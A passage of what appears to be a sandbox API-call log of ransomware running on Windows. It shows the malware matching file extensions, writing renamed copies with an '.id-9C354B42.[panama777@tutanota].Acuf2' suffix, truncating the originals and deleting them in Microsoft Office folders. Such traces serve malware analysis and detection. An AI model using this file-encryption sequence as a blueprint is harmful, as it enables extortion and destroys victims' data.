	[0273.341] lstrlenW (lpString=".bz2") returned 4
	[0273.342] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0273.342] lstrlenW (lpString=".7z") returned 3
	[0273.342] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0273.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67
	[0273.342] lstrlenW (lpString=".dbf") returned 4
	[0273.342] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0273.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67
	[0273.342] lstrlenW (lpString=".1cd") returned 4
	[0273.342] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0273.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67
	[0273.342] lstrlenW (lpString=".jpg") returned 4
	[0273.342] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0273.342] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=10160) returned 1
	[0273.342] CloseHandle (hObject=0x29c) returned 1
	[0273.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 0x20
	[0273.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0273.343] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.343] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.343] GetLastError () returned 0x0
	[0273.343] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x27b0, lpOverlapped=0x0) returned 1
	[0273.345] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x27c0, lpOverlapped=0x0) returned 1
	[0273.346] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.346] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0273.346] SetEndOfFile (hFile=0x38c) returned 1
	[0273.346] CloseHandle (hObject=0x38c) returned 1
	[0273.346] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.346] SetEndOfFile (hFile=0x29c) returned 1
	[0273.348] CloseHandle (hObject=0x29c) returned 1
	[0273.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 1
	[0273.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67
	[0273.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67
	[0273.349] lstrlenW (lpString=".doc") returned 4
	[0273.349] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0273.349] lstrlenW (lpString=".docx") returned 5
	[0273.349] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1
	[0273.349] lstrlenW (lpString=".pdf") returned 4
	[0273.349] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0273.349] lstrlenW (lpString=".xls") returned 4
	[0273.349] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0273.349] lstrlenW (lpString=".xlsx") returned 5
	[0273.349] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1
	[0273.349] lstrlenW (lpString=".ppt") returned 4
	[0273.349] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0273.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67
	[0273.349] lstrlenW (lpString=".zip") returned 4
	[0273.349] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0273.349] lstrlenW (lpString=".rar") returned 4
	[0273.349] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0273.349] lstrlenW (lpString=".bz2") returned 4
	[0273.349] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0273.349] lstrlenW (lpString=".7z") returned 3
	[0273.349] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0273.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67
	[0273.349] lstrlenW (lpString=".dbf") returned 4
	[0273.349] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0273.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67
	[0273.349] lstrlenW (lpString=".1cd") returned 4
	[0273.349] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0273.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67
	[0273.350] lstrlenW (lpString=".jpg") returned 4
	[0273.350] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0273.350] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=10160) returned 1
	[0273.350] CloseHandle (hObject=0x29c) returned 1
	[0273.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 0x20
	[0273.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0273.350] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.350] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.351] GetLastError () returned 0x0
	[0273.351] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x27b0, lpOverlapped=0x0) returned 1
	[0273.353] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x27c0, lpOverlapped=0x0) returned 1
	[0273.353] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.353] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0273.354] SetEndOfFile (hFile=0x38c) returned 1
	[0273.354] CloseHandle (hObject=0x38c) returned 1
	[0273.354] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.354] SetEndOfFile (hFile=0x29c) returned 1
	[0273.356] CloseHandle (hObject=0x29c) returned 1
	[0273.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 1
	[0273.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67
	[0273.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67
	[0273.356] lstrlenW (lpString=".doc") returned 4
	[0273.356] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0273.356] lstrlenW (lpString=".docx") returned 5
	[0273.356] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1
	[0273.356] lstrlenW (lpString=".pdf") returned 4
	[0273.356] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0273.356] lstrlenW (lpString=".xls") returned 4
	[0273.356] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0273.356] lstrlenW (lpString=".xlsx") returned 5
	[0273.357] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1
	[0273.357] lstrlenW (lpString=".ppt") returned 4
	[0273.357] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0273.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67
	[0273.357] lstrlenW (lpString=".zip") returned 4
	[0273.357] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0273.357] lstrlenW (lpString=".rar") returned 4
	[0273.357] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0273.357] lstrlenW (lpString=".bz2") returned 4
	[0273.357] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0273.357] lstrlenW (lpString=".7z") returned 3
	[0273.357] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0273.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67
	[0273.357] lstrlenW (lpString=".dbf") returned 4
	[0273.357] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0273.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67
	[0273.357] lstrlenW (lpString=".1cd") returned 4
	[0273.357] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0273.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67
	[0273.357] lstrlenW (lpString=".jpg") returned 4
	[0273.357] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0273.358] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=9648) returned 1
	[0273.358] CloseHandle (hObject=0x29c) returned 1
	[0273.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 0x20
	[0273.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0273.358] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.358] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.358] GetLastError () returned 0x0
	[0273.358] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x25b0, lpOverlapped=0x0) returned 1
	[0273.360] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x25c0, lpOverlapped=0x0) returned 1
	[0273.362] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.362] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0273.362] SetEndOfFile (hFile=0x38c) returned 1
	[0273.362] CloseHandle (hObject=0x38c) returned 1
	[0273.362] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.362] SetEndOfFile (hFile=0x29c) returned 1
	[0273.364] CloseHandle (hObject=0x29c) returned 1
	[0273.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 1
	[0273.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67
	[0273.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67
	[0273.364] lstrlenW (lpString=".doc") returned 4
	[0273.364] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0273.364] lstrlenW (lpString=".docx") returned 5
	[0273.364] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1
	[0273.365] lstrlenW (lpString=".pdf") returned 4
	[0273.365] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0273.365] lstrlenW (lpString=".xls") returned 4
	[0273.365] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0273.365] lstrlenW (lpString=".xlsx") returned 5
	[0273.365] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1
	[0273.365] lstrlenW (lpString=".ppt") returned 4
	[0273.365] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0273.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67
	[0273.365] lstrlenW (lpString=".zip") returned 4
	[0273.365] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0273.365] lstrlenW (lpString=".rar") returned 4
	[0273.365] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0273.365] lstrlenW (lpString=".bz2") returned 4
	[0273.365] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0273.365] lstrlenW (lpString=".7z") returned 3
	[0273.365] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0273.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67
	[0273.365] lstrlenW (lpString=".dbf") returned 4
	[0273.365] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0273.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67
	[0273.365] lstrlenW (lpString=".1cd") returned 4
	[0273.365] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0273.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67
	[0273.365] lstrlenW (lpString=".jpg") returned 4
	[0273.365] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0273.366] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=15760) returned 1
	[0273.366] CloseHandle (hObject=0x29c) returned 1
	[0273.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 0x20
	[0273.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0273.366] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.366] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0273.366] GetLastError () returned 0x0
	[0273.366] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x3d90, lpOverlapped=0x0) returned 1
	[0273.369] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x3da0, lpOverlapped=0x0) returned 1
	[0273.370] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.370] WriteFile (in: hFile=0x38c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0273.370] SetEndOfFile (hFile=0x38c) returned 1
	[0273.370] CloseHandle (hObject=0x38c) returned 1
	[0273.370] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.370] SetEndOfFile (hFile=0x29c) returned 1
	[0273.372] CloseHandle (hObject=0x29c) returned 1
	[0273.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam")) returned 1
	[0273.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63
	[0273.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63
	[0273.372] lstrlenW (lpString=".doc") returned 4
	[0273.372] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0273.372] lstrlenW (lpString=".docx") returned 5
	[0273.372] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1
	[0273.372] lstrlenW (lpString=".pdf") returned 4
	[0273.373] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0273.373] lstrlenW (lpString=".xls") returned 4
	[0273.373] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0273.373] lstrlenW (lpString=".xlsx") returned 5
	[0273.373] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1
	[0273.373] lstrlenW (lpString=".ppt") returned 4
	[0273.373] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0273.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63
	[0273.373] lstrlenW (lpString=".zip") returned 4
	[0273.373] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0273.373] lstrlenW (lpString=".rar") returned 4
	[0273.373] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0273.373] lstrlenW (lpString=".bz2") returned 4
	[0273.373] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0273.373] lstrlenW (lpString=".7z") returned 3
	[0273.373] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0273.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63
	[0273.373] lstrlenW (lpString=".dbf") returned 4
	[0273.373] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0273.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63
	[0273.373] lstrlenW (lpString=".1cd") returned 4
	[0273.373] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0273.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM") returned 63
	[0273.373] lstrlenW (lpString=".jpg") returned 4
	[0273.373] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0273.374] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=10672) returned 1
	[0273.374] CloseHandle (hObject=0x29c) returned 1
	[0273.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 0x20
	[0273.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0273.374] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.374] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
